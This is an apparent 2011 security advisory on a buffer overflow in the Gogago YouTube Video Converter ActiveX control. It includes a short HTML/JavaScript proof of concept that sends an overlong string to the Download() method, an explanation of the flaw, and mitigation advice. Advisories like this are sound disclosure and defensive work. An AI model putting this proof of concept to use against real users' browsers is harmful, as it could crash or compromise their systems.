Security News

2011-25010 Gogago YouTube Video Converter ActiveX Control Buffer Overflow Vulnerability

1. Affected Version

Gogago 1.1.6 and probably prior

2. Description

Gogago YouTube Video Converter is a tool for converting videos. It allows you to convert videos to any format for any device. A buffer overflow vulnerability has been reported in Gogago YouTube Video Converter ActiveX control.

3. Vulnerability Analysis

The proof-of-concept code is listed as follows:

```
<html>
<body>
<object classid='clsid: 7966A32A- 5783-4F0B-824C-09077C023080' id='target'></object>
<script language='javascript'>
var arg1 = '';
while (arg1.length < 2000) arg1+='A';
target.Download(arg1);
</script>
</body>
</html>
```

Table 1: The proof-of-concept code

This flaw is caused due to the user-supplied data in "bsURL" parameter doesn't properly bound-checked before being copied into an insufficiently sized buffer in

"Download()" method in MDIEEx.dll file. The vulnerability allows remote attacker to execute arbitrary code in the context of the vulnerable application using the ActiveX control.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 17/06/2011.
2. Contact your vendor for an appropriate patch.

5. Reference

1. http://packetstormsecurity.org/files/view/102324/gogago-overflow.txt